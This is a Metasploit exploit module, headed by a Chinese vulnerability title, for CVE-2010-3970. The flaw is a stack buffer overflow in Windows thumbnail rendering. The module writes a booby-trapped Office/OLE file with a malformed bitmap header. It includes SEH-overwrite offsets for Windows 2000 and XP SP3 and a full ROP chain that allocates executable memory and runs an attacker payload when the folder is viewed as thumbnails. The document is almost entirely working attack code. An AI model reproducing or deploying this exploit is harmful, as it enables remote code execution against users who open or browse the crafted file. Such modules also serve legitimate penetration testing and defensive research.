Microsoft Windows "CreateSizedDIBSECTION()"缩略视图栈缓冲区溢出漏洞

                                                ##
# $Id: ms11_xxx_createsizeddibsection.rb 11466 2011-01-04 15:30:29Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack-based buffer overflow in the handling of thumbnails
                within .MIC files and various Office documents. When processing a thumbnail bitmap
                containing a negative 'biClrUsed' value, a stack-based buffer overflow occurs. This
                leads to arbitrary code execution.

                In order to trigger the vulnerable code, the folder containing the document must be
                viewed using the "Thumbnails" view.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Moti & Xu Hao',  # original discovery
                    'Yaniv Miron aka Lament of ilhack',
                    'jduck'           # Metasploit module
                ],
            'Version'        => '$Revision: 11466 $',
            'References'     =>
                [
                    [ 'CVE', '2010-3970' ],
                    #[ 'OSVDB', '?????' ],
                    #[ 'MSB', 'MS11-XXX' ],
                    #[ 'BID', '????' ],
                    [ 'URL', 'http://www.powerofcommunity.net/schedule.html' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'seh',
                    'AutoRunScript' => 'migrate -f'
                },
            'Payload'        =>
                {
                    'Space'         => 512,
                    'BadChars'      => "\x00",
                    'DisableNops'   => true # no need
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    # This automatic target will combine all targets into one file :)
                    [ 'Automatic', { } ],

                    # Windows 2000 is a soft target... You're not still using it are you?
                    [ 'Windows 2000 SP0/SP4 English',
                        {
                            'Offset' => 1548,   # Offset to SEH frame
                            'Ret' => 0x75022ac4 # p/p/r ws2help.dll v5.0.2134.1
                        }
                    ],

                    # My test machine didn't have l3codeca.acm loaded (as mentioned in their slides)
                    # However, it did have msacm32.drv
                    [ 'Windows XP SP3 English',
                        {
                            'Offset' => 1560,    # Offset to SEH frame
                            # Address from msacm32.drv v5.1.2600.0
                            'Ret' => 0x72d11676,  # push esi / mov esi,[esp+0xc] / push [esi+0x54] / call [esi+0x5c]

                            # This ends up becoming eip due to above SafeSEH bypass
                            'PivotOffset' => 1652,
                            'RopStart' => 592
                        }
                    ],

=begin
                    [ 'Windows Server 2003 SP2',
                        {
                            'Offset' => 1576,    # Offset to SEH frame
                            'Ret' => 0xfeedfed5

                            # rop is possible with l3codeca.acm, but its not clear how to force it to be loaded.
                            # Also, it changed in Feburary 2010 ...
                        }
                    ],
=end

                    # crash on a deref path to heaven.
                    [ 'Crash Target for Debugging',
                        {
                            'Ret' => 0xdac0ffee
                        }
                    ]
                ],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Dec 15 2010'))

        register_options(
            [
                OptString.new('FILENAME', [ true, 'The file name.',  'msf.doc']),
            ], self.class)
    end

    def exploit

        print_status("Creating '#{datastore['FILENAME']}' file ...")

        out = File.expand_path(File.join(datastore['OUTPUTPATH'], datastore['FILENAME']))
        stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE)
        if (not stg)
            raise RuntimeError, 'Unable to create output file'
        end

        stm = stg.create_stream("\x05SummaryInformation")
        if (not stm)
            raise RuntimeError, 'Unable to create SummaryInformation stream'
        end
        stm << generate_summaryinfo()
        stm.close

        stg.close

        print_status("Generated output file #{out}")

    end

    def generate_summaryinfo
        si = Rex::OLE::PropertySetStream.new

        ps = Rex::OLE::PropertySet.new(Rex::OLE::FMTID_SummaryInformation)

        bihdr = [
            0x08,  # ??
            0x28,  # biSize (struct size)
            0x50,  # biWidth
            0x58,  # biHeight
            0x01,  # biPlanes
            0x08,  # biBitCount
            0x00,  # biCompression
            0xa8c0,  # biSizeImage
            0x00,  # biXPelsPerMeter
            0x00,  # biYPelsPerMeter
            # biClrUsed
            0x80000001,
            0x00   # biClrImportant
        ].pack('VVVVvvVVVVVV')

        # ClipboardData
        data = rand_text(8192)
        data[0, bihdr.length] = bihdr
        data[48, payload.encoded.length] = payload.encoded

        if target.name == "Automatic"
            targets.each { |t|
                next if t.name !~ /Windows/i

                add_target(data, t)
            }
        else
            add_target(data, target)
        end

        prop = Rex::OLE::Property.new(Rex::OLE::PIDSI_THUMBNAIL, Rex::OLE::VT_CF, data)
        ps << prop
        si << ps

        si.pack
    end

    def add_target(data, targ)
        if targ['PivotOffset'] and targ['RopStart']
            data[targ['Offset'] + 4, 4] = [targ.ret].pack('V')

            rvas = rvas_explorer_xpsp3()
            rop = generate_rop(rvas)

            pivot = rva2addr(rvas, 'add ebp, [edx+6] / pop eax / leave / ret 4')
            data[targ['PivotOffset'], 4] = [pivot].pack('V')

            data[targ['RopStart'], rop.length] = rop
        else
            seh = generate_seh_record(targ.ret)
            distance = targ['Offset'] + seh.length
            distance -= 48  # the entire source buffer isn't copied
            seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

            data[targ['Offset'], seh.length] = seh
        end
    end

    def rvas_explorer_xpsp3()
        # explorer.exe version v6.0.2900.5512
        # Just return this hash
        {
            'add ebp, [edx+6] / pop eax / leave / ret 4' => 0x2be9c,
            'ret'                    => 0x3ebd,

            'int3 / ... / ret'       => 0x1922f,

            'mov eax, esi / pop edi / pop esi / ret' => 0x2648,
            'pop ebp / ret'          => 0x3ebc,
            'add eax, ebp / ret'     => 0x13124,
            'mov eax, [eax] / ret'   => 0x74b7,

            'pop ebx / ret'          => 0x4bd5,
            'push eax / call ebx'    => 0xedc7,
            'pop edi / pop esi / ret' => 0x23bb,

            'pop ecx / ret'          => 0x1acd9,
            'call [ecx] / pop ebp / ret 0x10' => 0x2ad52,

            'pop edi / ret'          => 0x319bc,

            'lea edi, [eax+0x1c] / rep movsd / pop edi / pop esi / ret' => 0x88c4,

            'mov [eax], ecx / pop ebp / ret 4' => 0xa747,
            'jmp eax'                => 0x2080
        }
    end

    def generate_rop(rvas)
        # ROP fun! (XP SP3 English, Dec 29 2010)
        rvas.merge!({
            # Instructions / Name    => RVA
            'BaseAddress'            => 0x01000000,
            'imp_VirtualAlloc'       => 0x11e8,
            'Scratch'                => 0x46060
        })

        rop_stack = [
            'ret',
            :unused,  # from pivot

            # First, get the address of our source buffer in relation to the
            # SEH record pointer now saved in ESI
            'mov eax, esi / pop edi / pop esi / ret',
            :unused,
            :unused,

            'pop ebp / ret',
            0xfffffa18,
            'add eax, ebp / ret',

            'pop ebx / ret',
            'pop edi / pop esi / ret',
            'push eax / call ebx',

            # Allocate an RWX memory segment
            'pop ecx / ret',
            'imp_VirtualAlloc',

            'call [ecx] / pop ebp / ret 0x10',
            0,         # lpAddress
            0x1000,    # dwSize
            0x3000,    # flAllocationType
            0x40,      # flProt
            :unused,

            # Copy the original payload
            'pop ecx / ret',
            :unused,
            :unused,
            :unused,
            :unused,
            0x80,      # dwords to copy

            'lea edi, [eax+0x1c] / rep movsd / pop edi / pop esi / ret',
            :unused,
            :unused,

            # Add a jump over the space/crap
            'pop ecx / ret',
            0x90901aeb,

            'mov [eax], ecx / pop ebp / ret 4',
            :unused,

            'jmp eax'
        ]

        rop_stack.map! { |e|
            if e.kind_of? String
                # Meta-replace (RVA)
                raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e]
                rvas['BaseAddress'] + rvas[e]

            elsif e == :unused
                # Randomize
                rand_text(4).unpack('V').first

            else
                # Literal
                e
            end
        }

        rop_stack.pack('V*')
    end

    def rva2addr(rvas, key)
        raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key]
        rvas['BaseAddress'] + rvas[key]
    end

end